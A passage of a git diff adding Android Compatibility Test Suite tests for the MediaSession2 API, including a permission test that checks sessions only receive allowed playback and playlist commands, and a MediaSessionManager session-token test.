+ public void onError(MediaController2 controller, int errorCode, Bundle extras) {
+ mCallbackProxy.onError(controller, errorCode, extras);
+ }
+
+ @Override
+ public void onCurrentMediaItemChanged(MediaController2 controller, MediaItem2 item) {
+ mCallbackProxy.onCurrentMediaItemChanged(controller, item);
+ }
+
+ @Override
+ public void onPlaylistChanged(MediaController2 controller,
+ List<MediaItem2> list, MediaMetadata2 metadata) {
+ mCallbackProxy.onPlaylistChanged(controller, list, metadata);
+ }
+
+ @Override
+ public void onPlaylistMetadataChanged(MediaController2 controller,
+ MediaMetadata2 metadata) {
+ mCallbackProxy.onPlaylistMetadataChanged(controller, metadata);
+ }
+
+ @Override
+ public void onShuffleModeChanged(MediaController2 controller, int shuffleMode) {
+ mCallbackProxy.onShuffleModeChanged(controller, shuffleMode);
+ }
+
+ @Override
+ public void onRepeatModeChanged(MediaController2 controller, int repeatMode) {
+ mCallbackProxy.onRepeatModeChanged(controller, repeatMode);
+ }
+ }
+
+ public class TestMediaController extends MediaController2 implements TestControllerInterface {
+ private final ControllerCallback mCallback;
+
+ public TestMediaController(@NonNull Context context, @NonNull SessionToken2 token,
+ @NonNull ControllerCallback callback) {
+ super(context, token, sHandlerExecutor, callback);
+ mCallback = callback;
+ }
+
+ @Override
+ public ControllerCallback getCallback() {
+ return mCallback;
+ }
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2_PermissionTest.java b/tests/tests/media/src/android/media/cts/MediaSession2_PermissionTest.java
new file mode 100644
index 0000000..91dc369
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaSession2_PermissionTest.java
@@ -0,0 +1,545 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static android.media.MediaSession2.ControllerInfo;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_PAUSE;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_PLAY;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_SEEK_TO;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_STOP;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_ADD_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_REMOVE_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_REPLACE_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SET_LIST;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SET_LIST_METADATA;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SKIP_NEXT_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SKIP_PREV_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SKIP_TO_PLAYLIST_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_FAST_FORWARD;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PLAY_FROM_MEDIA_ID;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PLAY_FROM_SEARCH;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PLAY_FROM_URI;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PREPARE_FROM_MEDIA_ID;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PREPARE_FROM_URI;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_REWIND;
+import static android.media.SessionCommand2.COMMAND_CODE_SET_VOLUME;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.annotation.NonNull;
+import android.media.MediaController2;
+import android.media.MediaItem2;
+import android.media.MediaSession2;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Process;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests whether {@link MediaSession2} receives commands that hasn't allowed.
+ */
+@RunWith(AndroidJUnit4.class)
+@MediumTest
+@Ignore
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaSession2_PermissionTest extends MediaSession2TestBase {
+ private static final String SESSION_ID = "MediaSession2Test_permission";
+
+ private MockPlayer mPlayer;
+ private MediaSession2 mSession;
+ private MySessionCallback mCallback;
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ }
+
+ @After
+ @Override
+ public void cleanUp() throws Exception {
+ super.cleanUp();
+ if (mSession != null) {
+ mSession.close();
+ mSession = null;
+ }
+ mPlayer = null;
+ mCallback = null;
+ }
+
+ private MediaSession2 createSessionWithAllowedActions(final SessionCommandGroup2 commands) {
+ mPlayer = new MockPlayer(0);
+ mCallback = new MySessionCallback() {
+ @Override
+ public SessionCommandGroup2 onConnect(MediaSession2 session,
+ ControllerInfo controller) {
+ if (Process.myUid() != controller.getUid()) {
+ return null;
+ }
+ return commands == null ? new SessionCommandGroup2() : commands;
+ }
+ };
+ if (mSession != null) {
+ mSession.close();
+ }
+ mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer).setId(SESSION_ID)
+ .setSessionCallback(sHandlerExecutor, mCallback).build();
+ return mSession;
+ }
+
+ private SessionCommandGroup2 createCommandGroupWith(int commandCode) {
+ SessionCommandGroup2 commands = new SessionCommandGroup2();
+ commands.addCommand(new SessionCommand2(commandCode));
+ return commands;
+ }
+
+ private SessionCommandGroup2 createCommandGroupWithout(int commandCode) {
+ SessionCommandGroup2 commands = new SessionCommandGroup2();
+ commands.addAllPredefinedCommands();
+ commands.removeCommand(new SessionCommand2(commandCode));
+ return commands;
+ }
+
+ private void testOnCommandRequest(int commandCode, PermissionTestRunnable runnable)
+ throws InterruptedException {
+ createSessionWithAllowedActions(createCommandGroupWith(commandCode));
+ runnable.run(createController(mSession.getToken()));
+
+ assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mCallback.mOnCommandRequestCalled);
+ assertEquals(commandCode, mCallback.mCommand.getCommandCode());
+
+ createSessionWithAllowedActions(createCommandGroupWithout(commandCode));
+ runnable.run(createController(mSession.getToken()));
+
+ assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertFalse(mCallback.mOnCommandRequestCalled);
+ }
+
+ @Test
+ public void testPlay() throws InterruptedException {
+ testOnCommandRequest(COMMAND_CODE_PLAYBACK_PLAY, (controller) -> {
+ controller.play();
+ });
+ }
+
+ @Test
+ public void testPause() throws InterruptedException {
+ testOnCommandRequest(COMMAND_CODE_PLAYBACK_PAUSE, (controller) -> {
+ controller.pause();
+ });
+ }
+
+ @Test
+ public void testStop() throws InterruptedException {
+ testOnCommandRequest(COMMAND_CODE_PLAYBACK_STOP, (controller) -> {
+ controller.stop();
+ });
+ }
+
+ @Test
+ public void testFastForward() throws InterruptedException {
+ testOnCommandRequest(COMMAND_CODE_SESSION_FAST_FORWARD, (controller) -> {
+ controller.fastForward();
+ });
+ }
+
+ @Test
+ public void testRewind() throws InterruptedException {
+ testOnCommandRequest(COMMAND_CODE_SESSION_REWIND, (controller) -> {
+ controller.rewind();
+ });
+ }
+
+ @Test
+ public void testSeekTo() throws InterruptedException {
+ final long position = 10;
+ testOnCommandRequest(COMMAND_CODE_PLAYBACK_SEEK_TO, (controller) -> {
+ controller.seekTo(position);
+ });
+ }
+
+ @Test
+ public void testSkipToNext() throws InterruptedException {
+ testOnCommandRequest(COMMAND_CODE_PLAYLIST_SKIP_NEXT_ITEM, (controller) -> {
+ controller.skipToNextItem();
+ });
+ }
+
+ @Test
+ public void testSkipToPrevious() throws InterruptedException {
+ testOnCommandRequest(COMMAND_CODE_PLAYLIST_SKIP_PREV_ITEM, (controller) -> {
+ controller.skipToPreviousItem();
+ });
+ }
+
+ @Test
+ public void testSkipToPlaylistItem() throws InterruptedException {
+ MediaItem2 testItem = TestUtils.createMediaItemWithMetadata();
+ testOnCommandRequest(COMMAND_CODE_PLAYLIST_SKIP_TO_PLAYLIST_ITEM, (controller) -> {
+ controller.skipToPlaylistItem(testItem);
+ });
+ }
+
+ @Test
+ public void testSetPlaylist() throws InterruptedException {
+ List<MediaItem2> list = TestUtils.createPlaylist(2);
+ testOnCommandRequest(COMMAND_CODE_PLAYLIST_SET_LIST, (controller) -> {
+ controller.setPlaylist(list, null);
+ });
+ }
+
+ @Test
+ public void testUpdatePlaylistMetadata() throws InterruptedException {
+ testOnCommandRequest(COMMAND_CODE_PLAYLIST_SET_LIST_METADATA, (controller) -> {
+ controller.updatePlaylistMetadata(null);
+ });
+ }
+
+ @Test
+ public void testAddPlaylistItem() throws InterruptedException {
+ MediaItem2 testItem = TestUtils.createMediaItemWithMetadata();
+ testOnCommandRequest(COMMAND_CODE_PLAYLIST_ADD_ITEM, (controller) -> {
+ controller.addPlaylistItem(0, testItem);
+ });
+ }
+
+ @Test
+ public void testRemovePlaylistItem() throws InterruptedException {
+ MediaItem2 testItem = TestUtils.createMediaItemWithMetadata();
+ testOnCommandRequest(COMMAND_CODE_PLAYLIST_REMOVE_ITEM, (controller) -> {
+ controller.removePlaylistItem(testItem);
+ });
+ }
+
+ @Test
+ public void testReplacePlaylistItem() throws InterruptedException {
+ MediaItem2 testItem = TestUtils.createMediaItemWithMetadata();
+ testOnCommandRequest(COMMAND_CODE_PLAYLIST_REPLACE_ITEM, (controller) -> {
+ controller.replacePlaylistItem(0, testItem);
+ });
+ }
+
+ @Test
+ public void testSetVolume() throws InterruptedException {
+ testOnCommandRequest(COMMAND_CODE_SET_VOLUME, (controller) -> {
+ controller.setVolumeTo(0, 0);
+ });
+ }
+
+ @Test
+ public void testPlayFromMediaId() throws InterruptedException {
+ final String mediaId = "testPlayFromMediaId";
+ createSessionWithAllowedActions(
+ createCommandGroupWith(COMMAND_CODE_SESSION_PLAY_FROM_MEDIA_ID));
+ createController(mSession.getToken()).playFromMediaId(mediaId, null);
+
+ assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mCallback.mOnPlayFromMediaIdCalled);
+ assertEquals(mediaId, mCallback.mMediaId);
+ assertNull(mCallback.mExtras);
+
+ createSessionWithAllowedActions(
+ createCommandGroupWithout(COMMAND_CODE_SESSION_PLAY_FROM_MEDIA_ID));
+ createController(mSession.getToken()).playFromMediaId(mediaId, null);
+ assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertFalse(mCallback.mOnPlayFromMediaIdCalled);
+ }
+
+ @Test
+ public void testPlayFromUri() throws InterruptedException {
+ final Uri uri = Uri.parse("play://from.uri");
+ createSessionWithAllowedActions(
+ createCommandGroupWith(COMMAND_CODE_SESSION_PLAY_FROM_URI));
+ createController(mSession.getToken()).playFromUri(uri, null);
+
+ assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mCallback.mOnPlayFromUriCalled);
+ assertEquals(uri, mCallback.mUri);
+ assertNull(mCallback.mExtras);
+
+ createSessionWithAllowedActions(
+ createCommandGroupWithout(COMMAND_CODE_SESSION_PLAY_FROM_URI));
+ createController(mSession.getToken()).playFromUri(uri, null);
+ assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertFalse(mCallback.mOnPlayFromUriCalled);
+ }
+
+ @Test
+ public void testPlayFromSearch() throws InterruptedException {
+ final String query = "testPlayFromSearch";
+ createSessionWithAllowedActions(
+ createCommandGroupWith(COMMAND_CODE_SESSION_PLAY_FROM_SEARCH));
+ createController(mSession.getToken()).playFromSearch(query, null);
+
+ assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mCallback.mOnPlayFromSearchCalled);
+ assertEquals(query, mCallback.mQuery);
+ assertNull(mCallback.mExtras);
+
+ createSessionWithAllowedActions(
+ createCommandGroupWithout(COMMAND_CODE_SESSION_PLAY_FROM_SEARCH));
+ createController(mSession.getToken()).playFromSearch(query, null);
+ assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertFalse(mCallback.mOnPlayFromSearchCalled);
+ }
+
+ @Test
+ public void testPrepareFromMediaId() throws InterruptedException {
+ final String mediaId = "testPrepareFromMediaId";
+ createSessionWithAllowedActions(
+ createCommandGroupWith(COMMAND_CODE_SESSION_PREPARE_FROM_MEDIA_ID));
+ createController(mSession.getToken()).prepareFromMediaId(mediaId, null);
+
+ assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mCallback.mOnPrepareFromMediaIdCalled);
+ assertEquals(mediaId, mCallback.mMediaId);
+ assertNull(mCallback.mExtras);
+
+ createSessionWithAllowedActions(
+ createCommandGroupWithout(COMMAND_CODE_SESSION_PREPARE_FROM_MEDIA_ID));
+ createController(mSession.getToken()).prepareFromMediaId(mediaId, null);
+ assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertFalse(mCallback.mOnPrepareFromMediaIdCalled);
+ }
+
+ @Test
+ public void testPrepareFromUri() throws InterruptedException {
+ final Uri uri = Uri.parse("prepare://from.uri");
+ createSessionWithAllowedActions(
+ createCommandGroupWith(COMMAND_CODE_SESSION_PREPARE_FROM_URI));
+ createController(mSession.getToken()).prepareFromUri(uri, null);
+
+ assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mCallback.mOnPrepareFromUriCalled);
+ assertEquals(uri, mCallback.mUri);
+ assertNull(mCallback.mExtras);
+
+ createSessionWithAllowedActions(
+ createCommandGroupWithout(COMMAND_CODE_SESSION_PREPARE_FROM_URI));
+ createController(mSession.getToken()).prepareFromUri(uri, null);
+ assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertFalse(mCallback.mOnPrepareFromUriCalled);
+ }
+
+ @Test
+ public void testPrepareFromSearch() throws InterruptedException {
+ final String query = "testPrepareFromSearch";
+ createSessionWithAllowedActions(
+ createCommandGroupWith(COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH));
+ createController(mSession.getToken()).prepareFromSearch(query, null);
+
+ assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mCallback.mOnPrepareFromSearchCalled);
+ assertEquals(query, mCallback.mQuery);
+ assertNull(mCallback.mExtras);
+
+ createSessionWithAllowedActions(
+ createCommandGroupWithout(COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH));
+ createController(mSession.getToken()).prepareFromSearch(query, null);
+ assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertFalse(mCallback.mOnPrepareFromSearchCalled);
+ }
+
+ @Test
+ public void testChangingPermissionWithSetAllowedCommands() throws InterruptedException {
+ final String query = "testChangingPermissionWithSetAllowedCommands";
+ createSessionWithAllowedActions(
+ createCommandGroupWith(COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH));
+
+ ControllerCallbackForPermissionChange controllerCallback =
+ new ControllerCallbackForPermissionChange();
+ MediaController2 controller =
+ createController(mSession.getToken(), true, controllerCallback);
+
+ controller.prepareFromSearch(query, null);
+ assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mCallback.mOnPrepareFromSearchCalled);
+ assertEquals(query, mCallback.mQuery);
+ assertNull(mCallback.mExtras);
+ mCallback.reset();
+
+ // Change allowed commands.
+ mSession.setAllowedCommands(getTestControllerInfo(),
+ createCommandGroupWithout(COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH));
+ assertTrue(controllerCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ controller.prepareFromSearch(query, null);
+ assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ private ControllerInfo getTestControllerInfo() {
+ List<ControllerInfo> controllers = mSession.getConnectedControllers();
+ assertNotNull(controllers);
+ for (int i = 0; i < controllers.size(); i++) {
+ if (Process.myUid() == controllers.get(i).getUid()) {
+ return controllers.get(i);
+ }
+ }
+ fail("Failed to get test controller info");
+ return null;
+ }
+
+ @FunctionalInterface
+ private interface PermissionTestRunnable {
+ void run(@NonNull MediaController2 controller);
+ }
+
+ public class MySessionCallback extends MediaSession2.SessionCallback {
+ public CountDownLatch mCountDownLatch;
+
+ public SessionCommand2 mCommand;
+ public String mMediaId;
+ public String mQuery;
+ public Uri mUri;
+ public Bundle mExtras;
+
+ public boolean mOnCommandRequestCalled;
+ public boolean mOnPlayFromMediaIdCalled;
+ public boolean mOnPlayFromSearchCalled;
+ public boolean mOnPlayFromUriCalled;
+ public boolean mOnPrepareFromMediaIdCalled;
+ public boolean mOnPrepareFromSearchCalled;
+ public boolean mOnPrepareFromUriCalled;
+
+
+ public MySessionCallback() {
+ mCountDownLatch = new CountDownLatch(1);
+ }
+
+ public void reset() {
+ mCountDownLatch = new CountDownLatch(1);
+
+ mCommand = null;
+ mMediaId = null;
+ mQuery = null;
+ mUri = null;
+ mExtras = null;
+
+ mOnCommandRequestCalled = false;
+ mOnPlayFromMediaIdCalled = false;
+ mOnPlayFromSearchCalled = false;
+ mOnPlayFromUriCalled = false;
+ mOnPrepareFromMediaIdCalled = false;
+ mOnPrepareFromSearchCalled = false;
+ mOnPrepareFromUriCalled = false;
+ }
+
+ @Override
+ public boolean onCommandRequest(MediaSession2 session, ControllerInfo controller,
+ SessionCommand2 command) {
+ assertEquals(Process.myUid(), controller.getUid());
+ mOnCommandRequestCalled = true;
+ mCommand = command;
+ mCountDownLatch.countDown();
+ return super.onCommandRequest(session, controller, command);
+ }
+
+ @Override
+ public void onPlayFromMediaId(MediaSession2 session, ControllerInfo controller,
+ String mediaId, Bundle extras) {
+ assertEquals(Process.myUid(), controller.getUid());
+ mOnPlayFromMediaIdCalled = true;
+ mMediaId = mediaId;
+ mExtras = extras;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void onPlayFromSearch(MediaSession2 session, ControllerInfo controller,
+ String query, Bundle extras) {
+ assertEquals(Process.myUid(), controller.getUid());
+ mOnPlayFromSearchCalled = true;
+ mQuery = query;
+ mExtras = extras;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void onPlayFromUri(MediaSession2 session, ControllerInfo controller,
+ Uri uri, Bundle extras) {
+ assertEquals(Process.myUid(), controller.getUid());
+ mOnPlayFromUriCalled = true;
+ mUri = uri;
+ mExtras = extras;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void onPrepareFromMediaId(MediaSession2 session, ControllerInfo controller,
+ String mediaId, Bundle extras) {
+ assertEquals(Process.myUid(), controller.getUid());
+ mOnPrepareFromMediaIdCalled = true;
+ mMediaId = mediaId;
+ mExtras = extras;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void onPrepareFromSearch(MediaSession2 session, ControllerInfo controller,
+ String query, Bundle extras) {
+ assertEquals(Process.myUid(), controller.getUid());
+ mOnPrepareFromSearchCalled = true;
+ mQuery = query;
+ mExtras = extras;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void onPrepareFromUri(MediaSession2 session, ControllerInfo controller,
+ Uri uri, Bundle extras) {
+ assertEquals(Process.myUid(), controller.getUid());
+ mOnPrepareFromUriCalled = true;
+ mUri = uri;
+ mExtras = extras;
+ mCountDownLatch.countDown();
+ }
+
+ // TODO(jaewan): Add permission test for setRating()
+ }
+
+ public class ControllerCallbackForPermissionChange extends MediaController2.ControllerCallback {
+ public CountDownLatch mCountDownLatch = new CountDownLatch(1);
+
+ @Override
+ public void onAllowedCommandsChanged(MediaController2 controller,
+ SessionCommandGroup2 commands) {
+ mCountDownLatch.countDown();
+ }
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionManager_MediaSession2Test.java b/tests/tests/media/src/android/media/cts/MediaSessionManager_MediaSession2Test.java
new file mode 100644
index 0000000..8fad77a
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaSessionManager_MediaSession2Test.java
@@ -0,0 +1,339 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.media.MediaController2;
+import android.media.MediaPlayerBase;
+import android.media.MediaSession2;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.MediaSession2.SessionCallback;
+import android.media.SessionCommandGroup2;
+import android.media.SessionToken2;
+import android.media.session.MediaSessionManager;
+import android.media.session.MediaSessionManager.OnSessionTokensChangedListener;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.UUID;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests {@link MediaSessionManager} with {@link MediaSession2} specific APIs.
+ */
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaSessionManager_MediaSession2Test extends MediaSession2TestBase {
+ private static final String TAG = "MediaSessionManager_MediaSession2Test";
+
+ private MediaSessionManager mManager;
+ private MediaSession2 mSession;
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ mManager = (MediaSessionManager) mContext.getSystemService(Context.MEDIA_SESSION_SERVICE);
+
+ // Specify TAG here so {@link MediaSession2.getInstance()} doesn't complaint about
+ // per test thread differs across the {@link MediaSession2} with the same TAG.
+ final MockPlayer player = new MockPlayer(1);
+ mSession = new MediaSession2.Builder(mContext)
+ .setPlayer(player)
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() { })
+ .setId(TAG)
+ .build();
+ }
+
+ @After
+ @Override
+ public void cleanUp() throws Exception {
+ super.cleanUp();
+ sHandler.removeCallbacksAndMessages(null);
+ mSession.close();
+ }
+
+ // TODO(jaewan): Make this host-side test to see per-user behavior.
+ @Ignore
+ @Test
+ public void testGetMediaSession2Tokens_hasMediaController() throws InterruptedException {
+ final MockPlayer player = (MockPlayer) mSession.getPlayer();
+ player.notifyPlaybackState(MediaPlayerBase.PLAYER_STATE_IDLE);
+
+ MediaController2 controller = null;
+ List<SessionToken2> tokens = mManager.getActiveSessionTokens();
+ assertNotNull(tokens);
+ for (int i = 0; i < tokens.size(); i++) {
+ SessionToken2 token = tokens.get(i);
+ if (mContext.getPackageName().equals(token.getPackageName())
+ && TAG.equals(token.getId())) {
+ assertNull(controller);
+ controller = createController(token);
+ }
+ }
+ assertNotNull(controller);
+
+ // Test if the found controller is correct one.
+ assertEquals(MediaPlayerBase.PLAYER_STATE_IDLE, controller.getPlayerState());
+ controller.play();
+
+ assertTrue(player.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertTrue(player.mPlayCalled);
+ }
+
+ /**
+ * Test if server recognizes a session even if the session refuses the connection from server.
+ *
+ * @throws InterruptedException
+ */
+ @Test
+ public void testGetSessionTokens_sessionRejected() throws InterruptedException {
+ mSession.close();
+ mSession = new MediaSession2.Builder(mContext).setPlayer(new MockPlayer(0))
+ .setId(TAG).setSessionCallback(sHandlerExecutor, new SessionCallback() {
+ @Override
+ public SessionCommandGroup2 onConnect(
+ MediaSession2 session, ControllerInfo controller) {
+ // Reject all connection request.
+ return null;
+ }
+ }).build();
+
+ boolean foundSession = false;
+ List<SessionToken2> tokens = mManager.getActiveSessionTokens();
+ assertNotNull(tokens);
+ for (int i = 0; i < tokens.size(); i++) {
+ SessionToken2 token = tokens.get(i);
+ if (mContext.getPackageName().equals(token.getPackageName())
+ && TAG.equals(token.getId())) {
+ assertFalse(foundSession);
+ foundSession = true;
+ }
+ }
+ assertTrue(foundSession);
+ }
+
+ @Test
+ public void testGetMediaSession2Tokens_sessionClosed() throws InterruptedException {
+ mSession.close();
+
+ // When a session is closed, it should lose binder connection between server immediately.
+ // So server will forget the session.
+ List<SessionToken2> tokens = mManager.getActiveSessionTokens();
+ for (int i = 0; i < tokens.size(); i++) {
+ SessionToken2 token = tokens.get(i);
+ assertFalse(mContext.getPackageName().equals(token.getPackageName())
+ && TAG.equals(token.getId()));
+ }
+ }
+
+ @Test
+ public void testGetMediaSessionService2Token() throws InterruptedException {
+ boolean foundTestSessionService = false;
+ boolean foundTestLibraryService = false;
+ List<SessionToken2> tokens = mManager.getSessionServiceTokens();
+ for (int i = 0; i < tokens.size(); i++) {
+ SessionToken2 token = tokens.get(i);
+ if (mContext.getPackageName().equals(token.getPackageName())
+ && MockMediaSessionService2.ID.equals(token.getId())) {
+ assertFalse(foundTestSessionService);
+ assertEquals(SessionToken2.TYPE_SESSION_SERVICE, token.getType());
+ foundTestSessionService = true;
+ } else if (mContext.getPackageName().equals(token.getPackageName())
+ && MockMediaLibraryService2.ID.equals(token.getId())) {
+ assertFalse(foundTestLibraryService);
+ assertEquals(SessionToken2.TYPE_LIBRARY_SERVICE, token.getType());
+ foundTestLibraryService = true;
+ }
+ }
+ assertTrue(foundTestSessionService);
+ assertTrue(foundTestLibraryService);
+ }
+
+ @Test
+ public void testGetAllSessionTokens() throws InterruptedException {
+ boolean foundTestSession = false;
+ boolean foundTestSessionService = false;
+ boolean foundTestLibraryService = false;
+ List<SessionToken2> tokens = mManager.getAllSessionTokens();
+ for (int i = 0; i < tokens.size(); i++) {
+ SessionToken2 token = tokens.get(i);
+ if (!mContext.getPackageName().equals(token.getPackageName())) {
+ continue;
+ }
+ switch (token.getId()) {
+ case TAG:
+ assertFalse(foundTestSession);
+ foundTestSession = true;
+ break;
+ case MockMediaSessionService2.ID:
+ assertFalse(foundTestSessionService);
+ foundTestSessionService = true;
+ assertEquals(SessionToken2.TYPE_SESSION_SERVICE, token.getType());
+ break;
+ case MockMediaLibraryService2.ID:
+ assertFalse(foundTestLibraryService);
+ assertEquals(SessionToken2.TYPE_LIBRARY_SERVICE, token.getType());
+ foundTestLibraryService = true;
+ break;
+ default:
+ fail("Unexpected session " + token + " exists in the package");
+ }
+ }
+ assertTrue(foundTestSession);
+ assertTrue(foundTestSessionService);
+ assertTrue(foundTestLibraryService);
+ }
+
+ @Test
+ public void testAddOnSessionTokensChangedListener() throws InterruptedException {
+ TokensChangedListener listener = new TokensChangedListener();
+ mManager.addOnSessionTokensChangedListener(sHandlerExecutor, listener);
+
+ listener.reset();
+ MediaSession2 session1 = new MediaSession2.Builder(mContext)
+ .setPlayer(new MockPlayer(0))
+ .setId(UUID.randomUUID().toString())
+ .build();
+ assertTrue(listener.await());
+ assertTrue(listener.findToken(session1.getToken()));
+
+ listener.reset();
+ session1.close();
+ assertTrue(listener.await());
+ assertFalse(listener.findToken(session1.getToken()));
+
+ listener.reset();
+ MediaSession2 session2 = new MediaSession2.Builder(mContext)
+ .setPlayer(new MockPlayer(0))
+ .setId(UUID.randomUUID().toString())
+ .build();
+ assertTrue(listener.await());
+ assertFalse(listener.findToken(session1.getToken()));
+ assertTrue(listener.findToken(session2.getToken()));
+
+ listener.reset();
+ MediaSession2 session3 = new MediaSession2.Builder(mContext)
+ .setPlayer(new MockPlayer(0))
+ .setId(UUID.randomUUID().toString())
+ .build();
+ assertTrue(listener.await());
+ assertFalse(listener.findToken(session1.getToken()));
+ assertTrue(listener.findToken(session2.getToken()));
+ assertTrue(listener.findToken(session3.getToken()));
+
+ listener.reset();
+ session2.close();
+ assertTrue(listener.await());
+ assertFalse(listener.findToken(session1.getToken()));
+ assertFalse(listener.findToken(session2.getToken()));
+ assertTrue(listener.findToken(session3.getToken()));
+
+ listener.reset();
+ session3.close();
+ assertTrue(listener.await());
+ assertFalse(listener.findToken(session1.getToken()));
+ assertFalse(listener.findToken(session2.getToken()));
+ assertFalse(listener.findToken(session3.getToken()));
+
